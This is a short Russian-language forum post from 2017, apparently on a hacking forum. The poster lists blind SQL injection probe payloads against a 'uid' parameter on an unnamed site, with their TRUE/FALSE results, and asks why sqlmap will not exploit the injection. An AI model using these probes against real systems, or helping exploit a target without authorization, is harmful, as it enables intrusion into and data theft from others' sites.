Показать сообщение отдельно

  #377  
Старый 16.04.2017, 17:44
RWD
Участник форума
Регистрация: 25.04.2013
Сообщений: 153
С нами: 6868406

Репутация: 2
По умолчанию

Вообщем есть скуль, вроде бы не фейлс поситив, инъекция блинд.

URL encoded GET input uid was set to -1 OR 3*2*1=6 AND 00095=00095

Tests performed:
  • -1 OR 2+95-95-1=0+0+0+1 => TRUE
  • -1 OR 3+95-95-1=0+0+0+1 => FALSE
  • -1 OR 3*2 FALSE
  • -1 OR 3*2>(0+5+95-95) => FALSE
  • -1 OR 2+1-1-1=1 AND 00095=00095 => TRUE
  • -1 OR 00095=00095 AND 3+1-1-1=1 => FALSE
  • -1 OR 3*2=5 AND 00095=00095 => FALSE
  • -1 OR 3*2=6 AND 00095=00095 => TRUE
  • -1 OR 3*2*0=6 AND 00095=00095 => FALSE
  • -1 OR 3*2*1=6 AND 00095=00095 => TRUE
но скульмап почему то нивкакую не хочет зацепиться за линк, есть идеи?

level 5 risk 3 пробовал, не видит.
 
Ответить с цитированием